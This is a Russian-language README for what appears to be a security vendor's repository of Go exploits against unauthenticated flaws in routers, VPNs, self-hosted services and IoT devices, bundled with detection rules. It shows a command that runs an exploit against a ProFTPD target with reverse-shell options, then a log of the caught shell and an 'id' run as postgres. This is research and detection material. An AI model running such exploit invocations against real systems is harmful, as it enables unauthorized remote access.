
Эксплойты на Go для сетевых уязвимостей без аутентификации в маршрутизаторах, VPN, устройствах и IoT, в комплекте с PCAP-файлами, правилами Suricata/Snort/YARA/Sigma и скриптами Nmap.
Репозиторий Initial Access Community от VulnCheck содержит эксплойты и сопутствующие артефакты из нашего проприетарного продукта Initial Access Intelligence, а также материалы сообщества. Основное внимание Initial Access уделяется сетевым уязвимостям, не требующим взаимодействия с пользователем, с явным предпочтением уязвимостей, не требующих аутентификации. Типичные цели включают маршрутизаторы, VPN, самостоятельно размещаемые сервисы (MobileIron, GitLab, Confluence и т. д.), сетевые устройства, B2B-приложения и IoT-устройства.
Эксплойты написаны на Go с использованием фреймворка go-exploit от VulnCheck. Где это возможно, эксплойты включают верификатор цели и сканер версий. Однако Initial Access — это не только эксплойты. Мы также заботимся об обнаружении и детектировании. Вместе с эксплойтами мы, где это возможно, включаем:
Мы следуем тем же рекомендациям по дизайну эксплойтов, что и go-exploit. См. обзор пакета go-exploit.
$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)
feed/ — эксплойты и артефакты, специфичные для уязвимостейverification/ — общий код верификации целейshells/ — общий код шеллов и полезных нагрузокexamples/ — шаблоны для создания новых эксплойтовtools/ — инструментарий и утилиты проекта